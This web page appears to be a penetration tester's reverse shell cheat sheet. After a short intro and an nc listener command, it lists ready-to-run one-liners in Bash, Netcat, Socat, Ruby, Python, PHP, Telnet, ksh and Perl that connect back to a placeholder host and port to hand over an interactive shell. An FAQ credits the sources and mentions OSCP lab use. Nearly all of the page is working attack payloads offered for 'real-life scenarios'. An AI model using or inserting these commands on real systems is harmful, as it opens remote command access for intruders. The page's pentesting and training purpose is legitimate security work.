Reverse Shell Generator

Welcome to this unique site that allows you to set up values for your reverse shell payloads in a cheat sheet format that can be used in real-life scenarios. Powered by Lucian Nitescu, based on publicly available knowledge.

To launch a local callback server for your shell, use the following example:
nc -nvlp 4444
For the latest updates, you can see this link.

Bash #1

bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

Netcat

nc -e /bin/sh 127.0.0.1 4444


Bash #2

0<&196;exec 196<>/dev/tcp/127.0.0.1/4444; sh <&196 >&196 2>&196

Socat

socat tcp-connect:127.0.0.1:4444 exec:sh,pty,stderr,setsid,sigint,sane


Netcat without -e

touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 4444 > /tmp/f

Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'


Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("127.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'


Telnet

TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 4444 0<$TF | /bin/sh 1>$TF

ksh

ksh -c 'ksh -i > /dev/tcp/127.0.0.1/4444 2>&1 0>&1'


Perl

perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PERL Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


Frequently Answered Questions
Question Response
Why? Because it helps me! As a pentester and security expert, I realized how many occasions I screwed up a payload.
Is this all yours? No. Thanks to: highon.coffee; gtfobins.github.io; nitesculucian.github.io; ired.team!
Is this comprehensive? No, and it does not aim for that. On this page, you will actually find payloads that helped me throughout my work and OSCP labs.
Can I add something? Yes, just make a pull request.
Why the skeleton framework? I wanted to give it a try and see if it is up to the task.
Contact? Linkedin | Twitter | Facebook